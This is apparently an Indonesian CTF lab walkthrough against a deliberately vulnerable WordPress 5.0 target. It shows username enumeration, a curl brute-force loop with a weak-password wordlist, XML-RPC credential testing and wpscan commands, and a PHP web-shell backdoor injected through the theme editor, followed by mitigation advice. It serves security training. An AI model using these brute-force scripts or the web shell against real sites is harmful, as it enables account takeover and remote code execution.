Lab #3 - WordPress: User Enumeration + Weak Password
Target:
http://wp.vuln.cybersecurity.or.id:8082/
Versi: WordPress 5.0 (PHP 7.3, Apache, MySQL)
Tools:curl,wpscan(opsional), browser
Flag: 🔴FLAG{W0rdPr3ss_Us3r_3num_2025}
Mengapa User Enumeration Berbahaya?
WordPress secara default membocorkan informasi pengguna melalui berbagai mekanisme:
- Author Archive -
?author=Nmengungkap username - REST API -
/wp-json/wp/v2/users/mengembalikan daftar user - Login Page - pesan error berbeda untuk user valid vs invalid
- XML-RPC - bisa digunakan untuk brute force tanpa terdeteksi
Dengan mengetahui username, attacker tinggal melakukan brute
force password - terutama jika password lemah seperti
123456, password, atau
admin123.
️ Langkah 1: Reconnaissance - Fingerprint WordPress
1.1. Deteksi WordPress
curl -s -I http://wp.vuln.cybersecurity.or.id:8082/ | head -10
Output:
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.3.2
Link: <http://vuln.cybersecurity.or.id/index.php?rest_route=/>; rel="https://api.w.org/"
Header X-Powered-By: PHP/7.3.2 mengonfirmasi PHP
7.3.
Link rel="https://api.w.org/" adalah
ciri khas WordPress.
1.2. Cek Versi WordPress
# Dari meta generator
curl -s http://wp.vuln.cybersecurity.or.id:8082/ | grep "generator"
# Output: <meta name="generator" content="WordPress 5.0" />
# Dari readme.html
curl -s http://wp.vuln.cybersecurity.or.id:8082/readme.html | grep "version"
WordPress 5.0 adalah versi lama (rilis 2018) yang memiliki banyak celah keamanan.
Langkah 2: User Enumeration
Ada 3 metode untuk mendapatkan daftar username WordPress.
Metode 1: Author Archive (Paling Mudah)
WordPress memiliki fitur author archive yang bisa diakses via
parameter ?author=N:
for i in 1 2 3 4 5 6; do
echo -n "Author $i: "
curl -s "http://wp.vuln.cybersecurity.or.id:8082/?author=$i" | grep -oP '<title>[^<]*</title>'
done
Output:
Author 1: admin
Author 2: author1
Author 3: editor1
Author 4: subscriber1
Author 5: contributor1
Author 6: admin2
✨ Ditemukan 6 username!
Metode 2: REST API
WordPress 5.0 menyediakan REST API endpoint:
curl -s "http://wp.vuln.cybersecurity.or.id:8082/wp-json/wp/v2/users/"
Atau jika URL rewriting tidak aktif:
curl -s "http://wp.vuln.cybersecurity.or.id:8082/index.php?rest_route=/wp/v2/users/"
Output (JSON):
[{"id":1,"name":"admin","slug":"admin",...}]
Catatan: Di WP 5.0, REST API hanya menampilkan user yang memiliki published posts. Tapi author archive tetap menampilkan SEMUA user.
Metode 3: Login Page Error Message
Teknik ini memanfaatkan perbedaan pesan error WordPress:
# Coba login dengan username VALID + password salah
curl -s -d "log=admin&pwd=wrongpass" "http://wp.vuln.cybersecurity.or.id:8082/wp-login.php" | grep "ERROR"
# Output: ERROR: The password you entered for the username admin is incorrect.
# Coba login dengan username TIDAK VALID
curl -s -d "log=nonexistent&pwd=wrongpass" "http://wp.vuln.cybersecurity.or.id:8082/wp-login.php" | grep "ERROR"
# Output: ERROR: Invalid username.
Perbedaannya jelas:
| Kondisi | Pesan Error |
|---|---|
| ✅ Username valid | "The password you entered for the username [user] is incorrect"
|
| ❌ Username invalid | "Invalid username" |
Ini memungkinkan kita melakukan brute force username tanpa tools khusus - cukup deteksi pola pesan error.
Langkah 3: Brute Force Password
3.1. Buat Wordlist Password
Buat file berisi password-password umum yang lemah:
cat > passwords.txt << 'EOF'
123456
password
12345678
qwerty
letmein
admin
wordpress
secret123
welcome
passw0rd
admin123
test
demo
abc123
EOF
3.2. Brute Force via Login Page
USER="author1"
while IFS= read -r pass; do
result=$(curl -s -d "log=$USER&pwd=$pass" "http://wp.vuln.cybersecurity.or.id:8082/wp-login.php")
if ! echo "$result" | grep -q "login_error\|incorrect\|ERROR"; then
echo "[+] PASSWORD FOUND: $USER : $pass"
break
fi
done < passwords.txt
Output:
[+] PASSWORD FOUND: author1 : 123456
Ganti variabel USER untuk user lain:
USER="editor1"
# Output: [+] PASSWORD FOUND: editor1 : password
USER="admin"
# Output: [+] PASSWORD FOUND: admin : admin123
3.3. Alternatif: Brute Force via XML-RPC (Lebih Efisien)
XML-RPC memungkinkan brute force via satu koneksi (multicall):
# Cek ketersediaan XML-RPC
curl -X POST -d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
</methodCall>' "http://wp.vuln.cybersecurity.or.id:8082/xmlrpc.php"
XML-RPC menyediakan metode wp.getUsersBlogs yang bisa
digunakan untuk validasi kredensial:
curl -X POST -d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>admin123</string></value></param>
</params>
</methodCall>' "http://wp.vuln.cybersecurity.or.id:8082/xmlrpc.php"
Output sukses:
<isAdmin>1</isAdmin>
Output gagal:
Incorrect username or password.
Keunggulan XML-RPC multicall: Bisa mencoba ribuan kombinasi user:password dalam satu request HTTP - lebih cepat dan bypass rate limiting berbasis IP.
3.4. Alternatif: wpscan (Tool Khusus WordPress)
Jika wpscan tersedia:
wpscan --url http://wp.vuln.cybersecurity.or.id:8082/ --enumerate u
# Brute force
wpscan --url http://wp.vuln.cybersecurity.or.id:8082/ \
-U admin,author1,editor1 \
-P passwords.txt
Langkah 4: Post-Exploitation
4.1. Login ke Dashboard
Setelah mendapatkan kredensial admin (admin:admin123),
login ke:
http://wp.vuln.cybersecurity.or.id:8082/wp-admin/
4.2. Ambil Alih WordPress
Sebagai administrator, kita bisa:
- Upload PHP Shell - melalui Theme Editor (Appearance → Theme Editor)
- Install Plugin - dengan plugin berbahaya
- Edit File Tema - inject backdoor ke
404.phpataufunctions.php
Upload shell via Theme Editor:
Appearance → Theme Editor → Pilih file (misal 404.php)
Inject kode PHP:
<?php
// Backdoor access
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
4.3. Ambil Flag
Akses file flag yang sudah disediakan:
http://wp.vuln.cybersecurity.or.id:8082/wp-content/themes/twentynineteen/flag.php
Poin Penting
Mengapa Ini Terjadi?
| Masalah | Akar Penyebab |
|---|---|
| User Enumeration | WordPress 5.0 tidak membatasi akses ke author archive
(?author=N) |
| Informasi Bocor | Login page memberikan pesan error yang berbeda untuk user valid vs invalid |
| Weak Password | Pengguna menggunakan password mudah ditebak |
Cara Mitigasi
- Batasi author archive - Redirect
?author=Nke halaman 404 - Uniform error message - Gunakan plugin yang menyamarkan pesan error login
- Terapkan kebijakan password kuat - Minimal 12 karakter dengan kombinasi huruf, angka, simbol
- Aktifkan reCAPTCHA pada halaman login
- Batasi percobaan login - Limit 3-5 attempt sebelum lockout sementara
- Nonaktifkan XML-RPC jika tidak diperlukan
- Update WordPress ke versi terbaru + semua plugin
Kesimpulan
Target: WordPress 5.0 di vuln.cybersecurity.or.id:8082
Teknik: User Enumeration (author archive) → Brute Force (login page)
Flag: FLAG{W0rdPr3ss_Us3r_3num_2025}
Durasi: ~5 menit
Urutan serangan:
?author=N→ menemukan 6 usernamecurl -d "log=USER&pwd=PASS"→ brute force password lemah- Login admin → inject flag via theme
🔥 Pelajaran: Jangan pernah meremehkan user enumeration. Dengan hanya modal username, seorang attacker bisa masuk hanya dalam hitungan menit jika password lemah. Selalu gunakan password manager dan aktifkan 2FA!
Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy